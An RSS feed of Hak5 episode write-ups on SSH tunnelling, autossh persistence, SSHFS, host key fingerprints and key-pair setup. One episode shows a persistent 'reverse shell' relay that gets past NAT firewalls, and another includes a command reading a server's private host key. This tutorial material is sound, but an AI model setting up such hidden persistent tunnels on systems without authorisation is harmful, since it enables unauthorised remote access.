<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hak5 - Technolust since 2005 &#187; Linux</title>
	<atom:link href="http://Hak5.org/tag/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://Hak5.org</link>
	<description>Trust Your Technolust</description>
	<lastBuildDate>Thu, 17 May 2012 20:49:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Hak 1113 &#8211; Persistent SSH tunnels for Windows and Linux, Local vs Remote forwards and more</title>
		<link>http://Hak5.org/episodes/hak5-1113</link>
		<comments>http://Hak5.org/episodes/hak5-1113#comments</comments>
		<pubDate>Thu, 17 May 2012 20:49:56 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[apache over ssh]]></category>
		<category><![CDATA[autossh]]></category>
		<category><![CDATA[clientalivemaxcount]]></category>
		<category><![CDATA[keepalive]]></category>
		<category><![CDATA[key authentication]]></category>
		<category><![CDATA[key pair]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[local forward]]></category>
		<category><![CDATA[myentunnel]]></category>
		<category><![CDATA[persistent ssh]]></category>
		<category><![CDATA[persistent tunnel]]></category>
		<category><![CDATA[private key]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[public key]]></category>
		<category><![CDATA[public key crypto]]></category>
		<category><![CDATA[public key cryptography]]></category>
		<category><![CDATA[remote forward]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[socks5]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[ssh key pair]]></category>
		<category><![CDATA[tunne]]></category>
		<category><![CDATA[vnc over ssh]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4793</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLD226EA9BF23748D1&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=transparent" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1113"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1113&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
This time on the show, Local and Remote forwarding with SSH, Persistent connections in Linux with AutoSSH, Windows tunnels that don't quit with a GUI front-end for Plink and a whole lot of technolust. All that and more, this time on Hak5!
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1113/hak5--1113--persistent-ssh-tunnels-for-windows-and-linux--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1113/hak5--1113--persistent-ssh-tunnels-for-windows-and-linux--large.h264.mp4">Download MP4</a><br />
<span id="more-4793"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLD226EA9BF23748D1&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
<p><b>SSH Remote Forwarding: Relay local apache server through tunnel</b></p>
<blockquote><pre>
# install apache server
darren@dk10$ sudo apt-get install apache2
# browse to http://localhost
# Relay port 8080 on remote host to 80 on local host
darren@dk10$ ssh -R 8080:localhost:80 aardwolf@relay.wifipineapple.com
# browse to http://relay.wifipineapple.com:8080
</pre>
</blockquote>
<p><b>SSH Local Forward: Relay remote VNC server through tunnel</b></p>
<blockquote><pre>
# install vnc client
darren@dk10$ sudo apt-get install vncviewer
# vnc to server without SSH (bad idea)
darren@dk10$ vncviewer rrs5204q6n.hak5.org:1
# setup SSH local forward
darren@dk10$ ssh -L 5901:localhost:5901 aardwolf@rrs5204q6n.hak5.org
# vnc to server through ssh tunnel
darren@dk10$ vncviewer localhost:1
</pre>
</blockquote>
<p><b>Maintaining Persistent SSH tunnels in Linux</b></p>
<p>AutoSSH is a simple and effective utility for monitoring and maintaining persistent SSH connections, restarting the session as necessary. It can be downloaded from  <a href="http://www.harding.motd.ca/autossh/" target="_blank">http://www.harding.motd.ca/autossh/</a> and is available for most *nix platforms. On Ubuntu:</p>
<blockquote><pre>
# Install autossh
darren@dk10$ sudo apt-get install -y autossh
# The autossh -M option specifies which port to monitor the connection from
# The -N option is a regular openssh parameter which is passed from autossh to ssh, specifying that there is no remote command to execute.
# The & tells the shell, bash in our example, to run the command in the background.
darren@dk10$ autossh -M 20000 -N aardwolf@relay.wifipineapple.com &
# To find the process ID where autossh is running
darren@dk10$ pidof autossh
# And finally to stop autossh
darren@dk10$ kill `pidof autossh`
</pre>
</blockquote>
<p><b>Maintaining Persistent SSH tunnels in Linux</b></p>
<ul>
<li>First of all we need to cover Plink. Short for Putty Link, the plink utility is the command-line equivalent to Putty on Windows. We'll be using this today along with another to in order to keep an SSH tunnel persistent.
<li>Here's an example of a plink SSH tunnel. We start by launching pageant and entering our passphrase. Now that our private key is in memory we can use plink to start an SSH tunnel from the command line.
<li>So open up CMD, navigate to where your plink utility is. For me that's by running "cd putty"
<li>Now run plink.exe -- you'll be greeted by a whole list of options for this command line utility.
<li>To start a simple Dynamic SOCKS proxy I'll enter:
<li>plink -D 8080 snubsie@peanut.hak5.org -agent
<li>The -D says make it a Dynamic SOCKS proxy on my local port 8080 and the -agent says to use pageant for the private key file.
<li>And there we go, a command to start our SOCKS proxy for all our tunneling enjoyment. Of course if the SSH connection is dropped we'll be all sad pants -- especially if we're using the tunnel to watch the BBC or something.
<li>And while autossh *is* available for Windows, sort of, it isn't exactly the easiest to setup. AutoSSH, the Linux program, can be run in Windows using Cygwin -- a Linux environment for Windows. If that suits your fancy, have at it. There's a decent <a href="http://www.matthanger.net/2008/04/creating-persistent-ssh-tunnels-in.html" target="_blank">tutorial for setting that up</a>.
<li>That said I'm more interested in using native Windows programs. Thankfully a similar setup to autossh can be achieved using plink with the help of a little utility called MyEnTunnel.
<li>Short for My Encrypted Tunnel, MyEnTunnel is a windows utility that lives in the system tray, or can be run as an NT service in the background, that quietly watches Plink sessions and restarts them as necessary.
<li>MyEnTunnel is available from http://nemesis2.qx.net/pages/MyEnTunnel as freeware.
</ul>

]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1113/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hak5 1112 &#8211; Relay two firewalled devices through a persistent SSH proxy</title>
		<link>http://Hak5.org/episodes/hak5-1112</link>
		<comments>http://Hak5.org/episodes/hak5-1112#comments</comments>
		<pubDate>Thu, 10 May 2012 09:12:58 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[autossh]]></category>
		<category><![CDATA[clientalivemaxcount]]></category>
		<category><![CDATA[keepalive]]></category>
		<category><![CDATA[key authentication]]></category>
		<category><![CDATA[key pair]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Nat]]></category>
		<category><![CDATA[nat traversal]]></category>
		<category><![CDATA[network address translation]]></category>
		<category><![CDATA[persistent ssh]]></category>
		<category><![CDATA[private key]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[public key]]></category>
		<category><![CDATA[public key crypto]]></category>
		<category><![CDATA[public key cryptography]]></category>
		<category><![CDATA[relay proxy]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[socks5]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[ssh key pair]]></category>
		<category><![CDATA[Wifi Pineapple]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4785</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLAC30AB8C5D17FCB5&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=transparent" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1112"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1112&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
Traversing NAT firewalls couldn't be easier with a well crafted SSH proxy. This week Darren and Shannon break down reverse shells and persistence using a WiFi Pineapple and some autossh-fu. Plus, SSHFS GUIs for Linux, ClientAliveMaxCounts, Putty keys without Pageant and more!
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1112/hak5--1112--how-to-use-relay-proxies-with-ssh--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1112/hak5--1112--how-to-use-relay-proxies-with-ssh--large.h264.mp4">Download MP4</a><br />
<span id="more-4785"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLAC30AB8C5D17FCB5&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
<p>In this episode Darren and Shannon break down reverse shells via proxy. The network scenario is that of two devices on disparate networks who's firewalls won't allow inbound connections. Typically this is a NAT router that you haven't access to. Assuming both devices can create outbound connections, which is commonly the case, we'll configure an SSH server to act as a relay for our reverse shell.</p>
<p>In this scenario three hosts are involved. First is our <a href="http://www.hakshop.com" target="_blank">WiFi Pineapple</a>, which is the device we'll be getting the reverse shell from -- meaning we'll be able to login to a terminal on this machine. In our example it is connected to the Internet by way of a 3G/4G modem which our carrier firewalls. Using <a href="http://www.harding.motd.ca/autossh/">AutoSSH</a> -- a tool to maintain a persistent SSH connection -- we establish a connection back to our second host, relay.hak5.org. In turn our third host, my laptop (hostname: dk10) connects to relay.hak5.org as well.</p>
<blockquote><pre>
## browse to 172.16.42.1/ssh.php (WiFi Pineapple) and Generate Key
##SSH Into WiFi Pineapple
## Establish connection to relay adding key fingerprint to known_hosts on pineapple
root@pineapple# ssh user@relay.wifipineapple.com
## Refresh ssh.php showing known_hosts. Copy RSA key string from "rsa" to "root@pineapple"
## From new session on relay, paste RSA key into authorized_keys file
user@relay$ echo "<rsa_key>" >> ~/.ssh/authorized_keys
## Logout of the relay
user@relay$ exit
## Demonstrate how without the -i option ssh on the pineapple will still prompt for password
root@pineapple# ssh user@relay.wifipineapple.com #this will prompt for passwd
## Demo how to properly SSH into a host with a dropbear RSA key
root@pineapple# ssh user@relay.wifipineapple.com -i /etc/dropbear/id_rsa
user@relay$
## Configure SSHD to allow TCP Forwarding **Necessary for Server Admin Only**
## Become root
user@relay$ sudo -i
## Add settings to sshd config file
root@papaya# echo "AllowTcpForwarding yes" >> /etc/ssh/sshd_config
root@papaya# echo "GatewayPorts yes" >> /etc/ssh/sshd_config
## Restart SSH Daemon
root@papaya# /etc/init.d/ssh restart
## Logout of root
root@papaya# exit
## Logout of relay completely
user@relay$ exit
## Update SSH Connection Command from 172.16.42.1/ssh.php to reflect username and host
## Enable SSH on boot and SSH keepalive, then click Connect
## From localhost (your laptop) SSH into the newly configured WiFi Pineapple via the relay
## Demonstrate technique one: SSH from SSH (not as sexy)
darren@dk10$ ssh user@relay.wifipineapple.com
user@relay$ ssh root@localhost -p 4255
## Logout of both pineapple and relay
root@pineapple# exit
user@relay$ exit
## Demonstrate technique two: Single SSH session
darren@dk10$ ssh root@relay.wifipineapple.com -p 4255
</pre>
</blockquote>
<p><b>SSH and SOCKS5 Proxy Follow-up</b></p>
<p>MetalX1000 writes regarding SSHFS from the command line in Linux</p>
<blockquote><p>OK, I love that you showed how to do it this way. But,﻿ for the Shannon's of the world who need a GUI, you can always just open Nautilus and in the location bar type ""sftp://user@server"" and then make a short cut to that in the left side bar of Nautilus.</p></blockquote>
<p>Thanks for the tip MetalX1000. We demonstrated on the show one more technique. From Gnome2's "Places" menu click Connect to Server and select SSH.</p>
<p>Spectrakid writes regarding setting up an SSH Server on Linux and "apt-get install ssh"</p>
<blockquote><p>I﻿ thought you needed the ""openssh-server"" package to set up a ssh server in Debian based systems........ssh is a metapackage that simply depends on openssh-server & openssh-client</p></blockquote>
<p>There are about as many ways to skin a cat in Linux as there are dependency issues ;-)</p>
<p>wirerat1 writes regarding keeping connections alive</p>
<blockquote><p>ClientAliveCountMax 0 does not﻿ do what he thinks it does.</p></blockquote>
<p>True, it doesn't do what it claims to do. </p>
<p>From the MAN Page:</p>
<blockquote><p>ClientAliveCountMax sets the number of client alive messages (see below) which may be sent without sshd receiving any messages back from the client. If this threshold is reached while client alive messages are being sent, sshd will disconnect the client, terminating the session.  It is important to note that the use of client alive messages is very different from TCPKeepAlive (below). The client alive messages are sent through the encrypted channel and therefore will not be spoofable.  The TCP keepalive option enabled by TCPKeepAlive is spoofable.         The client alive mechanism is valuable when the client or server depend on knowing when a connection has become inactive.<br />
The default value is 3.  If ClientAliveInterval (see below) is set to 15, and ClientAliveCountMax is left at the default, unresponsive ssh clients will be disconnected after approximately 45 seconds.
</p></blockquote>
<p>Meaning a ClientAliveCountMax 0 should continue sending Keep Alive messages over the SSH connection for every ClientAliveInterval forever, but in practice, it doesn't. I've started using 99999 as my value of choice, however I'm sure there's a better way.</p>
<p>Steven writes regarding Pageant and Putty</p>
<blockquote><p>In Putty you don't need the pageant program to use the private key. Select your profile and hit load so that you can edit the profile. On the right go to SSH -> Auth. There you will find ""Private file for authentication"", hit browse and select your private key. Go back to Session. Select your profile and hit save. Next time you open a connection putty will automatically use the key. Note: The key will not be stored in memory so you'll need to enter the passphrase each time you connect to the server.</p></blockquote>

]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1112/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hak5 1111 &#8211; Roll your own Secure Cloud Storage with SSHFS &#8211; Secure Shell File System</title>
		<link>http://Hak5.org/episodes/hak5-1111</link>
		<comments>http://Hak5.org/episodes/hak5-1111#comments</comments>
		<pubDate>Wed, 02 May 2012 11:12:59 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[file system]]></category>
		<category><![CDATA[file system user space]]></category>
		<category><![CDATA[filesystem]]></category>
		<category><![CDATA[fuse]]></category>
		<category><![CDATA[key authentication]]></category>
		<category><![CDATA[key pair]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[mount]]></category>
		<category><![CDATA[mount remote file system]]></category>
		<category><![CDATA[mount remote filesystem]]></category>
		<category><![CDATA[mount remote fs]]></category>
		<category><![CDATA[private key]]></category>
		<category><![CDATA[public key]]></category>
		<category><![CDATA[public key crypto]]></category>
		<category><![CDATA[public key cryptography]]></category>
		<category><![CDATA[remote file system]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[ssh key pair]]></category>
		<category><![CDATA[sshfs]]></category>
		<category><![CDATA[user space]]></category>
		<category><![CDATA[userland]]></category>
		<category><![CDATA[virtual file system]]></category>
		<category><![CDATA[virtual filesystem]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4770</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLAA2FA407036DED52&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=transparent" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1111"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1111&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
Continuing with SOCKS5, SSH, Public Key Pairs and fingerprints, Darren and Shannon use SSH to create a secure remotely mounted network filesystem with implementations in both Windows and Linux.
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1111/hak5--1111--how-to-setup-sshfs--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1111/hak5--1111--how-to-setup-sshfs--large.h264.mp4">Download MP4</a><br />
<span id="more-4770"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PLAA2FA407036DED52&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
Using the SSHFS utility we're able to mount a remote filesystem. Since we already have a secure tunnel to our server over SSH, which we've been thus far using as a SOCKS5 proxy, we're now able to store files securely online with the same mechanism. Using FUSE, or File System in User Space, we're able to achieve this without the need to load kernel modules -- a process which would require superuser privileges.</p>
<p><b>SSHFS on Linux</b></p>
<p>As Darren demonstrates in Linux the setup is quite simple. Begin by installing SSHFS. From ubuntu that's "<i>sudo apt-get install sshfs</i>". Once installed your user will need to be added to the fuse group, so issue "<i>sudo gpasswd -a $USER fuse</i>". The $USER is an environment variable which will be replaced with your username on execution. Issue "<I>whoami</i>" if you're not sure of your username.</p>
<p>Once SSHFS has been installed and your user added to the fuse group you're nearly ready to mount the remote file system. Begin by making a directory. This directly will act as the mount point for the remote file system. Issue "<I>sudo mkdir ~/sshfs</i>" to make an sshfs directory in your user's home.</p>
<p>Finally we're ready to mount the remote file system. If you've been following along thus far and have setup authentication key pairs for your SSH server the following should be pretty seamless. Issue "<i>sshfs -o idmap=user username@host: ~/sshfs</i>". Replace username and host as appropriate. The colon (:) after the host specifies the location on the remote server to mount. For example, if permissions allowed, /var/www/ could be mounted. Leaving the location as colon (:) defaults to the user's home directory. Now navigate to ~/sshfs on your local system and behold the remote file system!</p>
<p><b>SSHFS on Windows</b></p>
<p>As Shannon demonstrates, <a href="http://www.expandrive.com/" target="_blank">ExpanDrive</a> offers SSHFS for Windows. In addition ExpanDrive will mount virtual drives from Amazon S3 and even FTP. The software is $40 with a 30-day trial. It supports SSH public keys directly or with pageant.</p>
<p>Youtube Description (No HTML):</p>
<p>Continuing with SOCKS5, SSH, Public Key Pairs and fingerprints, Darren and Shannon use SSH to create a secure remotely mounted network filesystem with implementations in both Windows and Linux.</p>
<p>Using the SSHFS utility we're able to mount a remote filesystem. Since we already have a secure tunnel to our server over SSH, which we've been thus far using as a SOCKS5 proxy, we're now able to store files securely online with the same mechanism. Using FUSE, or File System in User Space, we're able to achieve this without the need to load kernel modules -- a process which would require superuser privileges.</p>
<p>If you're into Hak5 you'll love our new show by hosts Darren Kitchen and Shannon Morse. Check out http://www.revision3.com/haktip</p>
<p>Whether you're a beginner or a pro, http://www.revision3.com/haktip is essential viewing for current and aspiring hackers, computer enthusiasts, and IT professionals. With a how-to approach to all things Information Technology, HakTip breaks down the core concepts, tools, and techniques of Linux, Wireless Networks, Systems Administration, and more.</p>
<p>And let's not forget to mention that you can follow us on http://www.twitter.com/hak5 and http://www.facebook.com/technolust, http://revision3.com/hak5/follow to the show and get all your Hak5 goodies, including the infamous wifi-pineapple over at http://hakshop.com . If you have any questions or suggestions please feel free to contact us at feedback@hak5.org.
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1111/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Hak5 1110 &#8211; SSH Public Key Fingerprints, Windows SSH Servers and Linux Key Pair Exchange</title>
		<link>http://Hak5.org/episodes/hak5-1110</link>
		<comments>http://Hak5.org/episodes/hak5-1110#comments</comments>
		<pubDate>Thu, 26 Apr 2012 22:09:10 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[asymmetric key cryptography]]></category>
		<category><![CDATA[authorized_keys]]></category>
		<category><![CDATA[authorized_keys2]]></category>
		<category><![CDATA[fingerprint]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[key authentication]]></category>
		<category><![CDATA[key based authentication]]></category>
		<category><![CDATA[key fingerprint]]></category>
		<category><![CDATA[key pair]]></category>
		<category><![CDATA[known_hosts]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSSH]]></category>
		<category><![CDATA[pageant]]></category>
		<category><![CDATA[pgp]]></category>
		<category><![CDATA[private key]]></category>
		<category><![CDATA[protocol layer]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[public key]]></category>
		<category><![CDATA[public key crypto]]></category>
		<category><![CDATA[public key cryptography]]></category>
		<category><![CDATA[putty key]]></category>
		<category><![CDATA[puttygen]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[socks5]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[ssh key pair]]></category>
		<category><![CDATA[ssh protocol]]></category>
		<category><![CDATA[sshd_config]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://Hak5.org/?p=4760</guid>
		<description><![CDATA[<iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL89CFD14144F45625&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=transparent" frameborder="0" allowfullscreen></iframe>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1110"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fepisodes%2Fhak5-1110&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
Continuing with Proxies, SOCKS5 and SSH, Darren and Shannon cover SSH Public Key Fingerprints, then build a free Windows SSH Server and configure Key Pairs for a Linux client.
<div style="clear:both;"></div>
<p><a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1110/hak5--1110--how-to-do-the-win-ssh-dance--hd720p30.h264.mp4">Download HD</a> <a class="mov" href="http://videos.revision3.com/revision3/web/hak5/1110/hak5--1110--how-to-do-the-win-ssh-dance--large.h264.mp4">Download MP4</a><br />
<span id="more-4760"></span> </p>
<div align="center"><iframe width="640" height="360" src="http://www.youtube-nocookie.com/embed/videoseries?list=PL89CFD14144F45625&#038;hl=en_US&#038;hd=1&#038;fs=1&#038;hd=1&#038;autohide=1&#038;showinfo=0&#038;rel=0&#038;showsearch=0&#038;wmode=Opaque" frameborder="0" allowfullscreen></iframe></div>
<p><b>SSH Public Key Fingerprints and known_hosts</b></p>
<p>Typical SSH Servers user 128-bit MD5 hashes as <a href="http://en.wikipedia.org/wiki/Public_key_fingerprint" target="_blank">Public Key Fingerprints</a>. These are used to verify the authenticity of a server. These key fingerprints are short sequences of bytes used to authenticate a much longer public key. Like we discussed last week regarding key pairs for user authentication, SSH servers have key pairs for server authentication. </p>
<p>On a Linux OpenSSH server for example these key pairs will be found in /etc/ssh/*key*. The public keys will be world readable while the private keys can only be read by a superuser. </p>
<p>On a Linux client for example the key fingerprints of remembered servers are stored in ~/.ssh/known_hosts. Since SSH version 4 the username and hostnames associated with these servers are hashed.</p>
<p>To remotely verify the key fingerprint of an SSH server</p>
<blockquote><pre>
ssh-keyscan -t rsa,dsa REMOTEHOSTNAME > /tmp/ssh_host_rsa_dsa_key.pub
ssh-keygen -l -f /tmp/ssh_host_rsa_dsa_key.pub
</pre>
</blockquote>
<p>Alternatively, on the remote server the key fingerprints can be found by:</p>
<blockquote><pre>
cd /etc/ssh
ls *key*
cat ssh_host_key # this is the private key
# permission will be denied if not superuser
cat ssh_host_key.pub # this is the public key
ssh-keygen -lf ssh_host_rsa_key.pub
# field 1 = bit length of key
# field 2 = fingerprint of key
# field 3 = name of key
</pre>
</blockquote>
<p><b>Setting up a Windows SSH Server with Bitvise (+ A few other software recommendations)</b></p>
<p>Setting up the SSH Server Windows Using BitVise WinSSHd</p>
<ul>
<li>Download BitVise</p>
<li>Creating a server on laptop or pc at home...
<li>Auto config router (UPnP) - BAD!! No Universal Plug-n-Play
<li>Open Port to Any Computer
<li>Uncheck 'Allow Any Logon', Click add.
<li>Enter Username - Run 'whoami' from CMD to find out your username.
<li>Want to add account for a friend? Do a virtual account.</ul>
<p><b>SSH Servers for Windows</b></p>
<p>FreeSSHd - http://www.freesshd.com/</p>
<ul>
<li>Nice but lacks advanced security controls. The server starts<br />
sessions with security in the context of the service itself, meaning<br />
since it needs to be run as administrator or system those are the<br />
privileges available to the users.</p>
<li>Not open source so it can't be vetted, improved upon by the community
<li>Hasn't been updated since 2009
<li>Difficult to get working on Windows 7
<li>Free and easy to setup</ul>
<p>Bitvise WinSSHD - http://www.bitvise.com/winsshd</p>
<ul>
<li>Free for non-commercial / personal use</p>
<li>License costs $100, unlocks Active Directory feature for enterprises
<li>Easy to install and update, nice GUI
<li>Supports Active Directory, Kerberos or it's own user database
<li>Works fine in Windows 7
<li>Supports AES 128 and 256 bit encryption
<li>Not open source so it can't be vetted, improved upon by the community
<li>Can be configured to use Power Shell instead of CMD as the default<br />
shell for users</p>
<li>Supports OpenSSH public key files
<li>Configure account and group permissions per IP and DNS
<li>Automation API, logging</ul>
<p>OpenSSH for Windows - SSHWindows.sf.net</p>
<ul>
<li>Free, open source implementation of OpenSSH with Cygwin</p>
<li>Hasn't been updated since 2004
<li>Enough said</ul>
<p>Copssh - https://www.itefix.no/i2/copssh</p>
<ul>
<li>Package of portable OpenSSH for Cygwin</p>
<li>GUI for administartion</ul>
<p>KpyM SSH Server - http://www.kpym.com/2/kpym/index.htm</p>
<ul>
<li>Free, open source</p>
<li>Uses Windows identification (Windows user accounts)
<li>Automated install and setup
<li>Nag screen. Single license is $35</ul>
<p><b>Setting up Key Pair Authentication in Linux with OpenSSH</b></p>
<p>On the remote host:</p>
<blockquote><pre>
mkdir .ssh
chmod 700 .ssh
cd .ssh
</pre>
</blockquote>
<p>On the local host:</p>
<blockquote><pre>
ssh-keygen -t rsa
scp ~/.ssh/id_rsa.pub user@host:.ssh/authorized_keys2
</pre>
</blockquote>
<p>Back on the remote host:</p>
<blockquote><pre>
ls -la authorized_keys2
chmod 600 authorized_keys2
exit
</pre>
</blockquote>
<p>On the local host:</p>
<blockquote><pre>
ssh user@host
</pre>
</blockquote>
<p><b>Bonus: Transfer SSH public keys from one machine to another</b></p>
<p>Now that we've done it the long way, let's take a moment to appreciate a convenient shortcut -- ssh-copy-id.</p>
<pre>
<blockquote>
ssh-keygen; ssh-copy-id user@host; ssh user@host
</pre>
</blockquote>

]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/episodes/hak5-1110/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Hak5 1109 &#8211;  Proxies, Linux SSH Servers, Windows Clients &amp; Public Keys</title>
		<link>http://Hak5.org/episodes/hak5-1109</link>
		<comments>http://Hak5.org/episodes/hak5-1109#comments</comments>
		<pubDate>Sat, 21 Apr 2012 20:29:00 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Episodes]]></category>
		<category><![CDATA[Season 11]]></category>
		<category><![CDATA[asymmetric key cryptography]]></category>
		<category><![CDATA[authorized_keys]]></category>
		<category><![CDATA[authorized_keys2]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[key authentication]]></category>
		<category><![CDATA[key based authentication]]></category>
		<category><![CDATA[key pair]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSSH]]></category>
		<category><![CDATA[pageant]]></category>
		<category><![CDATA[pgp]]></category>
		<category><![CDATA[private key]]></category>
		<category><![CDATA[protocol layer]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[public key]]></category>
		<category><![CDATA[public key crypto]]></category>
		<category><![CDATA[public key cryptography]]></category>
		<category><![CDATA[putty key]]></category>
		<category><![CDATA[puttygen]]></category>
		<category><![CDATA[server]]></category>
